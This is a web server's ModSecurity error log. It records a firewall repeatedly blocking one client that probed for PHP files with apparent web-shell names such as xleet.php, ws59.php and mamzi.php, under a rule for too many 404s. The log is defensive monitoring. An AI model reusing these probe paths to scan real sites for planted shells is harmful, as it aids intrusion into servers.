[Sat Feb 28 18:13:26.745234 2026] [:error] [pid 11791:tid 11814] [client 43.157.46.118:41308] [client 43.157.46.118] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaK_xmuX5e1Q32gqxH2QoAAAARU"]
[Sat Feb 28 18:59:34.729843 2026] [:error] [pid 39292:tid 39299] [client 20.91.194.140:11881] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dom.php"] [unique_id "aaLKlqIAO5fN7BxyqcFNaQAAAMU"]
[Sat Feb 28 18:59:35.797551 2026] [:error] [pid 49763:tid 49790] [client 20.91.194.140:58074] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dom.php"] [unique_id "aaLKl7THSOG_yf2PpqGOlQAAAdg"]
[Sat Feb 28 18:59:37.255706 2026] [:error] [pid 49763:tid 49783] [client 20.91.194.140:31558] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dom.php"] [unique_id "aaLKmbTHSOG_yf2PpqGOoAAAAdE"]
[Sat Feb 28 18:59:37.946673 2026] [:error] [pid 49763:tid 49770] [client 20.91.194.140:2999] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dom.php"] [unique_id "aaLKmbTHSOG_yf2PpqGOpgAAAcQ"]
[Sat Feb 28 18:59:39.304990 2026] [:error] [pid 52460:tid 52476] [client 20.91.194.140:40062] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aaLKm7LWOogAgHGh62QWfgAAAY0"]
[Sat Feb 28 18:59:40.930551 2026] [:error] [pid 39183:tid 39198] [client 20.91.194.140:31614] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aaLKnBCf4HvhVePw3LalsgAAAAY"]
[Sat Feb 28 18:59:42.554873 2026] [:error] [pid 39183:tid 39211] [client 20.91.194.140:20374] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aaLKnhCf4HvhVePw3LaltQAAABM"]
[Sat Feb 28 18:59:43.877825 2026] [:error] [pid 52460:tid 52468] [client 20.91.194.140:20978] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aaLKn7LWOogAgHGh62QWkAAAAYU"]
[Sat Feb 28 18:59:46.561198 2026] [:error] [pid 49763:tid 49784] [client 20.91.194.140:44923] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon3.php"] [unique_id "aaLKorTHSOG_yf2PpqGO1QAAAdI"]
[Sat Feb 28 18:59:49.531471 2026] [:error] [pid 49763:tid 49767] [client 20.91.194.140:21270] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon3.php"] [unique_id "aaLKpbTHSOG_yf2PpqGO5gAAAcE"]
[Sat Feb 28 18:59:50.333044 2026] [:error] [pid 39184:tid 39223] [client 20.91.194.140:50848] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon3.php"] [unique_id "aaLKpltZF9Zd_U7easB3HAAAAEQ"]
[Sat Feb 28 18:59:51.803354 2026] [:error] [pid 52460:tid 52463] [client 20.91.194.140:20963] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon3.php"] [unique_id "aaLKp7LWOogAgHGh62QWrwAAAYA"]
[Sat Feb 28 18:59:53.486693 2026] [:error] [pid 39183:tid 39207] [client 20.91.194.140:57997] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thui.php"] [unique_id "aaLKqRCf4HvhVePw3LalywAAAA8"]
[Sat Feb 28 18:59:54.381735 2026] [:error] [pid 39184:tid 39238] [client 20.91.194.140:19589] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thui.php"] [unique_id "aaLKqltZF9Zd_U7easB3IgAAAFM"]
[Sat Feb 28 18:59:56.096915 2026] [:error] [pid 39183:tid 39205] [client 20.91.194.140:21097] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thui.php"] [unique_id "aaLKrBCf4HvhVePw3Lal2gAAAA0"]
[Sat Feb 28 18:59:57.184967 2026] [:error] [pid 49763:tid 49788] [client 20.91.194.140:20709] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thui.php"] [unique_id "aaLKrbTHSOG_yf2PpqGPCwAAAdY"]
[Sat Feb 28 18:59:58.201454 2026] [:error] [pid 39183:tid 39195] [client 20.91.194.140:29288] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ebahvhhh.php"] [unique_id "aaLKrhCf4HvhVePw3Lal3QAAAAM"]
[Sat Feb 28 18:59:59.193785 2026] [:error] [pid 39184:tid 39243] [client 20.91.194.140:39582] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ebahvhhh.php"] [unique_id "aaLKr1tZF9Zd_U7easB3LgAAAFg"]
[Sat Feb 28 19:00:00.247452 2026] [:error] [pid 49763:tid 49780] [client 20.91.194.140:29252] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ebahvhhh.php"] [unique_id "aaLKsLTHSOG_yf2PpqGPIAAAAc4"]
[Sat Feb 28 19:00:01.410086 2026] [:error] [pid 49763:tid 49767] [client 20.91.194.140:43424] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ebahvhhh.php"] [unique_id "aaLKsbTHSOG_yf2PpqGPJgAAAcE"]
[Sat Feb 28 19:00:02.081620 2026] [:error] [pid 39183:tid 39209] [client 20.91.194.140:20689] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/snq.php"] [unique_id "aaLKshCf4HvhVePw3Lal9QAAABE"]
[Sat Feb 28 19:00:03.474314 2026] [:error] [pid 49763:tid 49777] [client 20.91.194.140:43398] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/snq.php"] [unique_id "aaLKs7THSOG_yf2PpqGPNAAAAcs"]
[Sat Feb 28 19:00:04.499496 2026] [:error] [pid 22194:tid 22218] [client 20.91.194.140:28869] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/snq.php"] [unique_id "aaLKtH6mbajs3bzQGyuKCgAAAVY"]
[Sat Feb 28 19:00:06.072190 2026] [:error] [pid 39184:tid 39240] [client 20.91.194.140:28866] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/snq.php"] [unique_id "aaLKtltZF9Zd_U7easB3QgAAAFU"]
[Sat Feb 28 19:00:08.414979 2026] [:error] [pid 39184:tid 39239] [client 20.91.194.140:19625] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mcs.php"] [unique_id "aaLKuFtZF9Zd_U7easB3RAAAAFQ"]
[Sat Feb 28 19:00:10.549322 2026] [:error] [pid 39184:tid 39225] [client 20.91.194.140:51965] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mcs.php"] [unique_id "aaLKultZF9Zd_U7easB3TwAAAEY"]
[Sat Feb 28 19:00:13.889418 2026] [:error] [pid 39183:tid 39213] [client 20.91.194.140:24815] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mcs.php"] [unique_id "aaLKvRCf4HvhVePw3LamFQAAABU"]
[Sat Feb 28 19:00:15.928503 2026] [:error] [pid 39292:tid 39309] [client 20.91.194.140:19645] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mcs.php"] [unique_id "aaLKv6IAO5fN7BxyqcFNowAAAM8"]
[Sat Feb 28 19:00:19.569691 2026] [:error] [pid 49763:tid 49766] [client 20.91.194.140:2173] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aaLKw7THSOG_yf2PpqGPrAAAAcA"]
[Sat Feb 28 19:00:21.339770 2026] [:error] [pid 39184:tid 39227] [client 20.91.194.140:2683] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aaLKxVtZF9Zd_U7easB3cwAAAEg"]
[Sat Feb 28 19:00:24.394966 2026] [:error] [pid 52460:tid 52483] [client 20.91.194.140:2687] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aaLKyLLWOogAgHGh62QXPgAAAZQ"]
[Sat Feb 28 19:00:25.753297 2026] [:error] [pid 39183:tid 39212] [client 20.91.194.140:46497] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aaLKyRCf4HvhVePw3LamVQAAABQ"]
[Sat Feb 28 19:00:30.147772 2026] [:error] [pid 52460:tid 52465] [client 20.91.194.140:2638] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xleet.php"] [unique_id "aaLKzrLWOogAgHGh62QXUwAAAYI"]
[Sat Feb 28 19:00:31.521597 2026] [:error] [pid 49763:tid 49775] [client 20.91.194.140:42802] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xleet.php"] [unique_id "aaLKz7THSOG_yf2PpqGP8wAAAck"]
[Sat Feb 28 19:00:32.956740 2026] [:error] [pid 39184:tid 39239] [client 20.91.194.140:49529] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xleet.php"] [unique_id "aaLK0FtZF9Zd_U7easB3fAAAAFQ"]
[Sat Feb 28 19:00:52.522211 2026] [:error] [pid 52460:tid 52473] [client 20.91.194.140:35008] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws59.php"] [unique_id "aaLK5LLWOogAgHGh62QX2QAAAYo"]
[Sat Feb 28 19:00:53.556614 2026] [:error] [pid 11791:tid 11796] [client 20.91.194.140:33319] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws59.php"] [unique_id "aaLK5WuX5e1Q32gqxH2fQAAAAQM"]
[Sat Feb 28 19:00:54.519838 2026] [:error] [pid 52460:tid 52481] [client 20.91.194.140:33342] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws59.php"] [unique_id "aaLK5rLWOogAgHGh62QX6wAAAZI"]
[Sat Feb 28 19:00:56.051298 2026] [:error] [pid 49763:tid 49783] [client 20.91.194.140:46035] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws59.php"] [unique_id "aaLK6LTHSOG_yf2PpqGQoQAAAdE"]
[Sat Feb 28 19:00:57.379333 2026] [:error] [pid 49763:tid 49782] [client 20.91.194.140:22852] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aaLK6bTHSOG_yf2PpqGQugAAAdA"]
[Sat Feb 28 19:00:59.048812 2026] [:error] [pid 49763:tid 49790] [client 20.91.194.140:42756] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aaLK67THSOG_yf2PpqGQzAAAAdg"]
[Sat Feb 28 19:01:01.171040 2026] [:error] [pid 49763:tid 49781] [client 20.91.194.140:59242] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aaLK7bTHSOG_yf2PpqGQ8QAAAc8"]
[Sat Feb 28 19:01:03.047778 2026] [:error] [pid 39183:tid 39192] [client 20.91.194.140:59219] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aaLK7xCf4HvhVePw3LanGAAAAAA"]
[Sat Feb 28 19:01:04.128155 2026] [:error] [pid 52460:tid 52476] [client 20.91.194.140:42765] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mamzi.php"] [unique_id "aaLK8LLWOogAgHGh62QYBAAAAY0"]
[Sat Feb 28 19:01:05.796906 2026] [:error] [pid 49763:tid 49767] [client 20.91.194.140:65469] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mamzi.php"] [unique_id "aaLK8bTHSOG_yf2PpqGRIQAAAcE"]
[Sat Feb 28 19:01:06.909565 2026] [:error] [pid 52460:tid 52467] [client 20.91.194.140:65460] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mamzi.php"] [unique_id "aaLK8rLWOogAgHGh62QYDAAAAYQ"]
[Sat Feb 28 19:01:09.071479 2026] [:error] [pid 39183:tid 39205] [client 20.91.194.140:26949] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mamzi.php"] [unique_id "aaLK9RCf4HvhVePw3LanKgAAAA0"]
[Sat Feb 28 19:01:10.062602 2026] [:error] [pid 39183:tid 39213] [client 20.91.194.140:65415] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aaLK9hCf4HvhVePw3LanNQAAABU"]
[Sat Feb 28 19:01:10.992310 2026] [:error] [pid 39183:tid 39197] [client 20.91.194.140:63702] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aaLK9hCf4HvhVePw3LanPwAAAAU"]
[Sat Feb 28 19:01:13.768173 2026] [:error] [pid 49763:tid 49767] [client 20.91.194.140:59204] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aaLK-bTHSOG_yf2PpqGRhwAAAcE"]
[Sat Feb 28 19:01:14.674640 2026] [:error] [pid 52460:tid 52464] [client 20.91.194.140:63703] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aaLK-rLWOogAgHGh62QYGwAAAYE"]
[Sat Feb 28 19:01:15.670806 2026] [:error] [pid 39183:tid 39207] [client 20.91.194.140:17369] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ae.php"] [unique_id "aaLK-xCf4HvhVePw3LanYAAAAA8"]
[Sat Feb 28 19:01:18.045671 2026] [:error] [pid 49763:tid 49775] [client 20.91.194.140:33343] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ae.php"] [unique_id "aaLK_rTHSOG_yf2PpqGRoQAAAck"]
[Sat Feb 28 19:01:21.694291 2026] [:error] [pid 39183:tid 39203] [client 20.91.194.140:49476] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ae.php"] [unique_id "aaLLARCf4HvhVePw3LanpQAAAAs"]
[Sat Feb 28 19:01:24.644498 2026] [:error] [pid 39183:tid 39198] [client 20.91.194.140:65463] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ae.php"] [unique_id "aaLLBBCf4HvhVePw3LansQAAAAY"]
